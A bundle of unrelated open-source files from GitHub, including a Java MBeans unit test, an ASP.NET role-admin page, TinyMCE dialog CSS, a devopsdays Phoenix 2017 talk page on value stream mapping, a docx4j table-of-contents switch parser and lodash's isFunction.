<li><a href="#field.detail">Field</a> | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2013-2014 Richard M. Hightower
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* __________ _____ __ .__
* \______ \ ____ ____ ____ /\ / \ _____ | | _|__| ____ ____
* | | _// _ \ / _ \ / \ \/ / \ / \\__ \ | |/ / |/ \ / ___\
* | | ( <_> | <_> ) | \ /\ / Y \/ __ \| <| | | \/ /_/ >
* |______ /\____/ \____/|___| / \/ \____|__ (____ /__|_ \__|___| /\___ /
* \/ \/ \/ \/ \/ \//_____/
* ____. ___________ _____ ______________.___.
* | |____ ___ _______ \_ _____/ / _ \ / _____/\__ | |
* | \__ \\ \/ /\__ \ | __)_ / /_\ \ \_____ \ / | |
* /\__| |/ __ \\ / / __ \_ | \/ | \/ \ \____ |
* \________(____ /\_/ (____ / /_______ /\____|__ /_______ / / ______|
* \/ \/ \/ \/ \/ \/
*/
package org.boon;
import org.junit.Test;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Set;
import static org.boon.Boon.puts;
import static org.boon.Boon.toJson;
import static org.junit.Assert.assertEquals;
public class MBeansTest {
public static interface HelloMBean {
public void sayHello();
public int add( int x, int y );
public String getName();
}
public static class Hello implements HelloMBean {
private String name = "value";
public void sayHello() {
System.out.println( "hello, world" );
}
public int add( int x, int y ) {
return x + y;
}
public String getName() {
return name;
}
}
@Test
public void test() throws Exception {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
Set<ObjectName> objectNames = server.queryNames( null, null );
for ( ObjectName name : objectNames ) {
System.out.println( name.toString() );
System.out.println( MBeans.map( server, name ) );
}
//Set<ObjectInstance> instances = server.queryMBeans(null, null);
}
@Test
public void jsonDump() throws Exception {
puts(MBeans.toJson());
}
@Test
public void createTest() throws Exception {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
Hello hello = new Hello();
DynamicMBean dynamicMBean = MBeans.createMBean( hello, HelloMBean.class );
MBeans.registerMBean( "com.example", "hello", dynamicMBean );
Set<ObjectName> objectNames = server.queryNames( null, null );
Map<String, Map<String, Object>> map = new LinkedHashMap<>();
for ( ObjectName name : objectNames ) {
map.put(name.toString(), MBeans.map(server, name));
}
puts("\n\n\n", toJson(map), "\n\n\n");
puts();
hello.name = "laskdjfal;ksdjf;laskjdf;laksjdfl;aksjdfl;kajsdf\n\n\n\n\\n\n";
for ( ObjectName name : objectNames ) {
System.out.println( name.toString() );
System.out.println( MBeans.map( server, name ) );
}
}
} | {
"pile_set_name": "Github"
} |
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Security;
namespace JocysCom.Web.Security.Admin
{
public partial class Roles : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
// If user name was submitted then...
if (Request["Role"] == null)
{
RoleList1.DataBind();
}
else
{
// Show user edit form.
//LoadByRole(Request["Role"].ToString());
}
}
RoleList1.RoleSelected += new EventHandler<GridViewCommandEventArgs>(RoleList1_RoleSelected);
RoleList1.RolesDeleted += new EventHandler<ItemActionsEventArgs>(RoleList1_RolesDeleted);
RoleEdit1.Updated += new EventHandler<RoleEditEventArgs>(RoleEdit1_Updated);
//RoleList1.AllowCreate = true;
//RoleList1.AllowEdit = true;
//RoleList1.AllowDelete = true;
//UserList1.ShowColumn(UserColumnsEnum.Edit, false);
//UserList1.ShowColumn(UserColumnsEnum.IsApproved, false);
}
void RoleEdit1_Updated(object sender, RoleEditEventArgs e)
{
//RoleList1.RefreshList();
}
void RoleList1_RolesDeleted(object sender, ItemActionsEventArgs e)
{
// If one of the deleted users is now open in edit form then we need to close it.
//if (e.Items.Contains(RoleEdit1.UserName)){
//RoleEdit1.Visible = false;
//UsersList1.Visible = false;
//}
}
void RoleList1_RoleSelected(object sender, GridViewCommandEventArgs e)
{
Guid roleId = new Guid(e.CommandArgument.ToString());
LoadByRole(roleId);
RoleEdit1.Visible = true;
UserList1.Visible = true;
}
protected void SelectRoleButton_Click(object sender, EventArgs e)
{
//RoleList1.RefreshList(SelectRoleTextBox.Text, RoleColumnsEnum.RoleName, SortDirection.Ascending);
//LoadByRole(SelectRoleTextBox.Text);
}
public void LoadByRole(Guid roleId)
{
//UserList1.GetData("/", roleName, 0, 10000, false);
RoleEdit1.LoadRole(roleId);
}
}
} | {
"pile_set_name": "Github"
} |
/* Clearlooks 2 */
/* Reset */
.clearlooks2, .clearlooks2 div, .clearlooks2 span, .clearlooks2 a {vertical-align:baseline; text-align:left; position:absolute; border:0; padding:0; margin:0; background:transparent; font-family:Arial,Verdana; font-size:11px; color:#000; text-decoration:none; font-weight:normal; width:auto; height:auto; overflow:hidden; display:block}
/* General */
.clearlooks2 {position:absolute; direction:ltr}
.clearlooks2 .mceWrapper {position:static}
.mceEventBlocker {position:fixed; left:0; top:0; background:url(img/horizontal.gif) no-repeat 0 -75px; width:100%; height:100%}
.clearlooks2 .mcePlaceHolder {border:1px solid #000; background:#888; top:0; left:0; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50)}
.clearlooks2_modalBlocker {position:fixed; left:0; top:0; width:100%; height:100%; background:#FFF; opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60); display:none}
/* Top */
.clearlooks2 .mceTop, .clearlooks2 .mceTop div {top:0; width:100%; height:23px}
.clearlooks2 .mceTop .mceLeft {width:6px; background:url(img/corners.gif)}
.clearlooks2 .mceTop .mceCenter {right:6px; width:100%; height:23px; background:url(img/horizontal.gif) 12px 0; clip:rect(auto auto auto 12px)}
.clearlooks2 .mceTop .mceRight {right:0; width:6px; height:23px; background:url(img/corners.gif) -12px 0}
.clearlooks2 .mceTop span {width:100%; text-align:center; vertical-align:middle; line-height:23px; font-weight:bold}
.clearlooks2 .mceFocus .mceTop .mceLeft {background:url(img/corners.gif) -6px 0}
.clearlooks2 .mceFocus .mceTop .mceCenter {background:url(img/horizontal.gif) 0 -23px}
.clearlooks2 .mceFocus .mceTop .mceRight {background:url(img/corners.gif) -18px 0}
.clearlooks2 .mceFocus .mceTop span {color:#FFF}
/* Middle */
.clearlooks2 .mceMiddle, .clearlooks2 .mceMiddle div {top:0}
.clearlooks2 .mceMiddle {width:100%; height:100%; clip:rect(23px auto auto auto)}
.clearlooks2 .mceMiddle .mceLeft {left:0; width:5px; height:100%; background:url(img/vertical.gif) -5px 0}
.clearlooks2 .mceMiddle span {top:23px; left:5px; width:100%; height:100%; background:#FFF}
.clearlooks2 .mceMiddle .mceRight {right:0; width:5px; height:100%; background:url(img/vertical.gif)}
/* Bottom */
.clearlooks2 .mceBottom, .clearlooks2 .mceBottom div {height:6px}
.clearlooks2 .mceBottom {left:0; bottom:0; width:100%}
.clearlooks2 .mceBottom div {top:0}
.clearlooks2 .mceBottom .mceLeft {left:0; width:5px; background:url(img/corners.gif) -34px -6px}
.clearlooks2 .mceBottom .mceCenter {left:5px; width:100%; background:url(img/horizontal.gif) 0 -46px}
.clearlooks2 .mceBottom .mceRight {right:0; width:5px; background: url(img/corners.gif) -34px 0}
.clearlooks2 .mceBottom span {display:none}
.clearlooks2 .mceStatusbar .mceBottom, .clearlooks2 .mceStatusbar .mceBottom div {height:23px}
.clearlooks2 .mceStatusbar .mceBottom .mceLeft {background:url(img/corners.gif) -29px 0}
.clearlooks2 .mceStatusbar .mceBottom .mceCenter {background:url(img/horizontal.gif) 0 -52px}
.clearlooks2 .mceStatusbar .mceBottom .mceRight {background:url(img/corners.gif) -24px 0}
.clearlooks2 .mceStatusbar .mceBottom span {display:block; left:7px; font-family:Arial, Verdana; font-size:11px; line-height:23px}
/* Actions */
.clearlooks2 a {width:29px; height:16px; top:3px;}
.clearlooks2 .mceClose {right:6px; background:url(img/buttons.gif) -87px 0}
.clearlooks2 .mceMin {display:none; right:68px; background:url(img/buttons.gif) 0 0}
.clearlooks2 .mceMed {display:none; right:37px; background:url(img/buttons.gif) -29px 0}
.clearlooks2 .mceMax {display:none; right:37px; background:url(img/buttons.gif) -58px 0}
.clearlooks2 .mceMove {display:none;width:100%;cursor:move;background:url(img/corners.gif) no-repeat -100px -100px}
.clearlooks2 .mceMovable .mceMove {display:block}
.clearlooks2 .mceFocus .mceClose {right:6px; background:url(img/buttons.gif) -87px -16px}
.clearlooks2 .mceFocus .mceMin {right:68px; background:url(img/buttons.gif) 0 -16px}
.clearlooks2 .mceFocus .mceMed {right:37px; background:url(img/buttons.gif) -29px -16px}
.clearlooks2 .mceFocus .mceMax {right:37px; background:url(img/buttons.gif) -58px -16px}
.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px}
.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px}
.clearlooks2 .mceFocus .mceMin:hover {right:68px; background:url(img/buttons.gif) 0 -32px}
.clearlooks2 .mceFocus .mceMed:hover {right:37px; background:url(img/buttons.gif) -29px -32px}
.clearlooks2 .mceFocus .mceMax:hover {right:37px; background:url(img/buttons.gif) -58px -32px}
/* Resize */
.clearlooks2 .mceResize {top:auto; left:auto; display:none; width:5px; height:5px; background:url(img/horizontal.gif) no-repeat 0 -75px}
.clearlooks2 .mceResizable .mceResize {display:block}
.clearlooks2 .mceResizable .mceMin, .clearlooks2 .mceMax {display:none}
.clearlooks2 .mceMinimizable .mceMin {display:block}
.clearlooks2 .mceMaximizable .mceMax {display:block}
.clearlooks2 .mceMaximized .mceMed {display:block}
.clearlooks2 .mceMaximized .mceMax {display:none}
.clearlooks2 a.mceResizeN {top:0; left:0; width:100%; cursor:n-resize}
.clearlooks2 a.mceResizeNW {top:0; left:0; cursor:nw-resize}
.clearlooks2 a.mceResizeNE {top:0; right:0; cursor:ne-resize}
.clearlooks2 a.mceResizeW {top:0; left:0; height:100%; cursor:w-resize;}
.clearlooks2 a.mceResizeE {top:0; right:0; height:100%; cursor:e-resize}
.clearlooks2 a.mceResizeS {bottom:0; left:0; width:100%; cursor:s-resize}
.clearlooks2 a.mceResizeSW {bottom:0; left:0; cursor:sw-resize}
.clearlooks2 a.mceResizeSE {bottom:0; right:0; cursor:se-resize}
/* Alert/Confirm */
.clearlooks2 .mceButton {font-weight:bold; bottom:10px; width:80px; height:30px; background:url(img/button.gif); line-height:30px; vertical-align:middle; text-align:center; outline:0}
.clearlooks2 .mceMiddle .mceIcon {left:15px; top:35px; width:32px; height:32px}
.clearlooks2 .mceAlert .mceMiddle span, .clearlooks2 .mceConfirm .mceMiddle span {background:transparent;left:60px; top:35px; width:320px; height:50px; font-weight:bold; overflow:auto; white-space:normal}
.clearlooks2 a:hover {font-weight:bold;}
.clearlooks2 .mceAlert .mceMiddle, .clearlooks2 .mceConfirm .mceMiddle {background:#D6D7D5}
.clearlooks2 .mceAlert .mceOk {left:50%; top:auto; margin-left: -40px}
.clearlooks2 .mceAlert .mceIcon {background:url(img/alert.gif)}
.clearlooks2 .mceConfirm .mceOk {left:50%; top:auto; margin-left: -90px}
.clearlooks2 .mceConfirm .mceCancel {left:50%; top:auto}
.clearlooks2 .mceConfirm .mceIcon {background:url(img/confirm.gif)}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html itemscope lang="en-us">
<head><meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta charset="utf-8">
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="generator" content="Hugo 0.57.2" />
<meta property="og:title" content="DevOps How to Put Value for All Into a Value Stream Mapping" />
<meta name="twitter:title" content="DevOps How To Put Value For All Into A Value Stream Mapping"/>
<meta itemprop="name" content="DevOps How To Put Value For All Into A Value Stream Mapping"><meta property="og:description" content="Learn how to get started with the VSM and how to keep the discussion going. We will also cover the importance of doing a VSM, requirements you should adopt for a VSM including the basics: Who, What, Where, When, Why and How. You will learn how to make your VSM successful from prep to results." />
<meta name="twitter:description" content="Learn how to get started with the VSM and how to keep the discussion going. We will also cover the importance of doing a VSM, requirements you should adopt for a VSM including the basics: Who, What, Where, When, Why and How. You will learn how to make your VSM successful from prep to results." />
<meta itemprop="description" content="Learn how to get started with the VSM and how to keep the discussion going. We will also cover the importance of doing a VSM, requirements you should adopt for a VSM including the basics: Who, What, Where, When, Why and How. You will learn how to make your VSM successful from prep to results."><meta name="twitter:site" content="@devopsdays">
<meta property="og:type" content="talk" />
<meta property="og:url" content="/events/2017-phoenix/program/dan-stolts/" /><meta name="twitter:creator" content="@devopsdaysphx" /><meta name="twitter:label1" value="Event" />
<meta name="twitter:data1" value="devopsdays Phoenix 2017" /><meta name="twitter:label2" value="Date" />
<meta name="twitter:data2" value="October 24, 2017" /><meta property="og:image" content="https://www.devopsdays.org/img/sharing.jpg" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:image" content="https://www.devopsdays.org/img/sharing.jpg" />
<meta itemprop="image" content="https://www.devopsdays.org/img/sharing.jpg" />
<meta property="fb:app_id" content="1904065206497317" /><meta itemprop="wordCount" content="55">
<title>DevOps How To Put Value For All Into A Value Stream Mapping - devopsdays Phoenix 2017
</title>
<script>
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};ga.l=+new Date;
ga('create', 'UA-9713393-1', 'auto');
ga('send', 'pageview');
</script>
<script async src='https://www.google-analytics.com/analytics.js'></script>
<link href="/css/site.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Roboto+Condensed:300,400,700" rel="stylesheet"><link rel="apple-touch-icon" sizes="57x57" href="/apple-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="/apple-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="/apple-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="/apple-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="/apple-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="/apple-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="/apple-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="/apple-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="/apple-icon-180x180.png">
<link rel="icon" type="image/png" sizes="192x192" href="/android-icon-192x192.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="96x96" href="/favicon-96x96.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/manifest.json">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="/ms-icon-144x144.png">
<meta name="theme-color" content="#ffffff">
<link href="/events/index.xml" rel="alternate" type="application/rss+xml" title="DevOpsDays" />
<link href="/events/index.xml" rel="feed" type="application/rss+xml" title="DevOpsDays" />
<script src=/js/devopsdays-min.js></script></head>
<body lang="">
<nav class="navbar navbar-expand-md navbar-light">
<a class="navbar-brand" href="/">
<img src="/img/devopsdays-brain.png" height="30" class="d-inline-block align-top" alt="devopsdays Logo">
DevOpsDays
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"><li class="nav-item global-navigation"><a class = "nav-link" href="/events">events</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/blog">blog</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/sponsor">sponsor</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/speaking">speaking</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/organizing">organizing</a></li><li class="nav-item global-navigation"><a class = "nav-link" href="/about">about</a></li></ul>
</div>
</nav>
<nav class="navbar event-navigation navbar-expand-md navbar-light">
<a href="/events/2017-phoenix" class="nav-link">Phoenix</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbar2">
<span class="navbar-toggler-icon"></span>
</button>
<div class="navbar-collapse collapse" id="navbar2">
<ul class="navbar-nav"><li class="nav-item active">
<a class="nav-link" href="/events/2017-phoenix/location">location</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2017-phoenix/registration">registration</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2017-phoenix/schedule">schedule</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2017-phoenix/speakers">speakers</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2017-phoenix/sponsor">sponsor</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2017-phoenix/contact">contact</a>
</li><li class="nav-item active">
<a class="nav-link" href="/events/2017-phoenix/conduct">conduct</a>
</li></ul>
</div>
</nav>
<div class="container-fluid">
<div class="row">
<div class="col-md-12"><div class = "row">
<div class = "col-md-5 offset-md-1">
<h2 class="talk-page">DevOps How To Put Value For All Into A Value Stream Mapping</h2><br /><br /><br />
<span class="talk-page content-text">
<p>Learn how to get started with the VSM and how to keep the discussion going. We will also cover the importance of doing a VSM, requirements you should adopt for a VSM including the basics: Who, What, Where, When, Why and How. You will learn how to make your VSM successful from prep to results.</p>
</span></div>
<div class = "col-md-3 offset-md-1"><h2 class="talk-page">Speaker</h2><img src = "/events/2017-phoenix/speakers/dan-stolts.png" class="img-fluid" alt="dan-stolts"/><br /><br /><h4 class="talk-page"><a href = "/events/2017-phoenix/speakers/dan-stolts">
Dan Stolts
</a></h4><a href = "https://twitter.com/ITProGuru"><i class="fa fa-twitter fa-2x" aria-hidden="true"></i> </a><br />
<span class="talk-page content-text">Dan Stolts “ITProGuru” is a technology expert who is a master of systems management and security. He is Chief Technology Strategist for Microsoft, owns several businesses and is a published author. <a href = "https://www.devopsdays.org/events/2017-phoenix/speakers/dan-stolts/">...</a></span>
</div>
</div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Gold Sponsors</h4><a href = "/events/2017-phoenix/sponsor" class="sponsor-cta"><i>Join as Gold Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.contrastsecurity.com/"><img src = "/img/sponsors/contrast_security.png" alt = "Contrast Security" title = "Contrast Security" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Silver Sponsors</h4><a href = "/events/2017-phoenix/sponsor" class="sponsor-cta"><i>Join as Silver Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://hfrecruiting.com/"><img src = "/img/sponsors/headfarmer.png" alt = "Headfarmer" title = "Headfarmer" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.qualimente.com/"><img src = "/img/sponsors/qualimente.png" alt = "QualiMente" title = "QualiMente" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://diamanti.com/"><img src = "/img/sponsors/diamanti-before-20190108.png" alt = "Diamanti" title = "Diamanti" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://trace3.com/devops/"><img src = "/img/sponsors/trace3.png" alt = "trace3" title = "trace3" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "http://chef.io"><img src = "/img/sponsors/chef.png" alt = "Chef Software, Inc" title = "Chef Software, Inc" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.forsythe.com"><img src = "/img/sponsors/forsythe.png" alt = "Forsythe" title = "Forsythe" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.infusionsoft.com/"><img src = "/img/sponsors/infusionsoft.png" alt = "Infusionsoft" title = "Infusionsoft" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.thousandeyes.com"><img src = "/img/sponsors/thousandeyes.png" alt = "ThousandEyes" title = "ThousandEyes" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Bronze Sponsors</h4><a href = "/events/2017-phoenix/sponsor" class="sponsor-cta"><i>Join as Bronze Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.teksystems.com/"><img src = "/img/sponsors/tek-systems.png" alt = "Tek Systems" title = "Tek Systems" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.newcontext.com"><img src = "/img/sponsors/new-context.png" alt = "New Context" title = "New Context" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://www.elastic.co"><img src = "/img/sponsors/elastic.png" alt = "Elastic" title = "Elastic" class="img-fluid"></a>
</div><div class = "col-lg-1 col-md-2 col-4">
<a href = "https://li9.com"><img src = "/img/sponsors/li9.png" alt = "Li9" title = "Li9" class="img-fluid"></a>
</div></div><div class="row cta-row">
<div class="col-md-12"><h4 class="sponsor-cta">Community Sponsors</h4><a href = "/events/2017-phoenix/sponsor" class="sponsor-cta"><i>Join as Community Sponsor!</i>
</a></div>
</div><div class="row sponsor-row"></div><br />
</div></div>
</div>
<nav class="navbar bottom navbar-light footer-nav-row" style="background-color: #bfbfc1;">
<div class = "row">
<div class = "col-md-12 footer-nav-background">
<div class = "row">
<div class = "col-md-6 col-lg-3 footer-nav-col">
<h3 class="footer-nav">@DEVOPSDAYS</h3>
<div>
<a class="twitter-timeline" data-dnt="true" href="https://twitter.com/devopsdays/lists/devopsdays" data-chrome="noheader" height="440"></a>
<script>
! function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0],
p = /^http:/.test(d.location) ? 'http' : 'https';
if (!d.getElementById(id)) {
js = d.createElement(s);
js.id = id;
js.src = p + "://platform.twitter.com/widgets.js";
fjs.parentNode.insertBefore(js, fjs);
}
}(document, "script", "twitter-wjs");
</script>
</div>
</div>
<div class="col-md-6 col-lg-3 footer-nav-col footer-content">
<h3 class="footer-nav">BLOG</h3><a href = "https://www.devopsdays.org/blog/2019/05/10/10-years-of-devopsdays/"><h1 class = "footer-heading">10 years of devopsdays</h1></a><h2 class="footer-heading">by Kris Buytaert - 10 May, 2019</h2><p class="footer-content">It’s hard to believe but it is almost 10 years ago since #devopsdays happened for the first time in Gent. Back then there were almost 70 of us talking about topics that were of interest to both Operations and Development, we were exchanging our ideas and experiences `on how we were improving the quality of software delivery.
Our ideas got started on the crossroads of Open Source, Agile and early Cloud Adoption.</p><a href = "https://www.devopsdays.org/blog/"><h1 class = "footer-heading">Blogs</h1></a><h2 class="footer-heading">10 May, 2019</h2><p class="footer-content"></p><a href="https://www.devopsdays.org/blog/index.xml">Feed</a>
</div>
<div class="col-md-6 col-lg-3 footer-nav-col">
<h3 class="footer-nav">CFP OPEN</h3><a href = "/events/2019-campinas" class = "footer-content">Campinas</a><br /><a href = "/events/2019-macapa" class = "footer-content">Macapá</a><br /><a href = "/events/2019-shanghai" class = "footer-content">Shanghai</a><br /><a href = "/events/2019-recife" class = "footer-content">Recife</a><br /><a href = "/events/2020-charlotte" class = "footer-content">Charlotte</a><br /><a href = "/events/2020-prague" class = "footer-content">Prague</a><br /><a href = "/events/2020-tokyo" class = "footer-content">Tokyo</a><br /><a href = "/events/2020-salt-lake-city" class = "footer-content">Salt Lake City</a><br />
<br />Propose a talk at an event near you!<br />
</div>
<div class="col-md-6 col-lg-3 footer-nav-col">
<h3 class="footer-nav">About</h3>
devopsdays is a worldwide community conference series for anyone interested in IT improvement.<br /><br />
<a href="/about/" class = "footer-content">About devopsdays</a><br />
<a href="/privacy/" class = "footer-content">Privacy Policy</a><br />
<a href="/conduct/" class = "footer-content">Code of Conduct</a>
<br />
<br />
<a href="https://www.netlify.com">
<img src="/img/netlify-light.png" alt="Deploys by Netlify">
</a>
</div>
</div>
</div>
</div>
</nav>
<script>
$(document).ready(function () {
$("#share").jsSocials({
shares: ["email", {share: "twitter", via: 'devopsdaysphx'}, "facebook", "linkedin"],
text: 'devopsdays Phoenix - 2017',
showLabel: false,
showCount: false
});
});
</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2013-2016, Plutext Pty Ltd.
*
* This file is part of docx4j.
docx4j is licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package org.docx4j.toc.switches;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public abstract class AbstractSwitch implements SwitchInterface {
private static Logger log = LoggerFactory.getLogger(AbstractSwitch.class);
public static final String EMPTY = "";
private static final String BACKSLASH_QUOTE_REGEX = "\\\\\"";
private static final String BACKSLASHES_REGEX = "\\\\\\\\";
private static final String BACKSLASHES = "\\\\";
private static final String NUMBERS_REGEX = "[0-9]+";
private static final String QUOTE = "\"";
public static final String ERROR_NOT_VALID_HEADING_LEVEL = "Error! Not a valid heading level range.";
String tSwitchSeparator = ",";
String fieldArgument;
int startLevel = -1;
int endLevel = -1;
Map<String, Integer> styleLevelMap = null;
public String parseFieldArgument(String fieldArgument){
this.fieldArgument = fieldArgument;
return EMPTY;
}
public boolean isStyleSwitch(){
return false;
}
public int getStartLevel(){
if(startLevel == -1){
if(fieldArgument != null){
parseStartEndLevel();
}
}
return startLevel;
}
public int getEndLevel(){
return endLevel;
}
private void parseStartEndLevel(){
String field = prepareArgument(fieldArgument);
if(field.isEmpty()){
return;
}
List<Integer> levels = new ArrayList<Integer>();
Pattern p = Pattern.compile(NUMBERS_REGEX);
Matcher m = p.matcher(field);
while (m.find()) {
int n = Integer.parseInt(m.group());
levels.add(n);
}
if(levels.size() != 2){
return;
}
startLevel = levels.get(0);
endLevel = levels.get(1);
}
public Map<String, Integer> getStyleLevelMap() {
if(styleLevelMap == null){
styleLevelMap = new HashMap<String, Integer>();
} else {
return styleLevelMap;
}
if(fieldArgument == null){
return styleLevelMap;
}
String field = prepareArgument(fieldArgument);
if(field.isEmpty()){
return styleLevelMap;
}
// a set of comma-separated doublets,
// with each doublet being a comma-separated set of style name and table of content level
String[] styleLevels = field.split(tSwitchSeparator);
int level = -1;
for(int i = 0; i < styleLevels.length; i++){
if(i + 1 < styleLevels.length){
try{
level = Integer.parseInt(styleLevels[i + 1].trim());
} catch(NumberFormatException ex){
log.error("TOC \t switch has invalid doublet containing '" + styleLevels[i + 1] + "'");
//next is probably style too, so just put with level 1
styleLevelMap.put(styleLevels[i].trim(), 1);
continue;
}
} else {
styleLevelMap.put(styleLevels[i].trim(), 1);
break;
}
if(level < 1 || level > 9){
level = 1;
}
styleLevelMap.put(styleLevels[i].trim(), level);
log.debug("Added " + styleLevels[i] );
i++;
}
return styleLevelMap;
}
/**
* Rules applied:
* 1. if argument has quote and this quote is not the beginning of string - return empty
* 2. if argument starts with quote but has no ending quote - return empty
* @param fieldArgument
* @return empty string in case field argument can not be parsed correctly
*/
private String prepareArgument(String fieldArgument){
String tmp = fieldArgument;
int firstQuote = fieldArgument.indexOf(QUOTE);
int lastQuote = fieldArgument.lastIndexOf(QUOTE);
if(firstQuote == 0){
//check last quote: index is positive, it is not first quote index
if(lastQuote > 0 && lastQuote != firstQuote){
tmp = fieldArgument.substring(1, lastQuote);
} else{
return EMPTY;
}
} else if(firstQuote > 0){
return EMPTY;
}
tmp = tmp.replaceAll(BACKSLASH_QUOTE_REGEX, QUOTE);
tmp = tmp.replaceAll(BACKSLASHES_REGEX, BACKSLASHES);
log.debug(fieldArgument + " --> " + tmp );
return tmp;
}
}
| {
"pile_set_name": "Github"
} |
var baseGetTag = require('./_baseGetTag'),
isObject = require('./isObject');
/** `Object#toString` result references. */
var asyncTag = '[object AsyncFunction]',
funcTag = '[object Function]',
genTag = '[object GeneratorFunction]',
proxyTag = '[object Proxy]';
/**
* Checks if `value` is classified as a `Function` object.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a function, else `false`.
* @example
*
* _.isFunction(_);
* // => true
*
* _.isFunction(/abc/);
* // => false
*/
function isFunction(value) {
if (!isObject(value)) {
return false;
}
// The use of `Object#toString` avoids issues with the `typeof` operator
// in Safari 9 which returns 'object' for typed arrays and other constructors.
var tag = baseGetTag(value);
return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag;
}
module.exports = isFunction;
| {
"pile_set_name": "Github"
} |
<!-- doc/src/sgml/tsm-system-rows.sgml -->
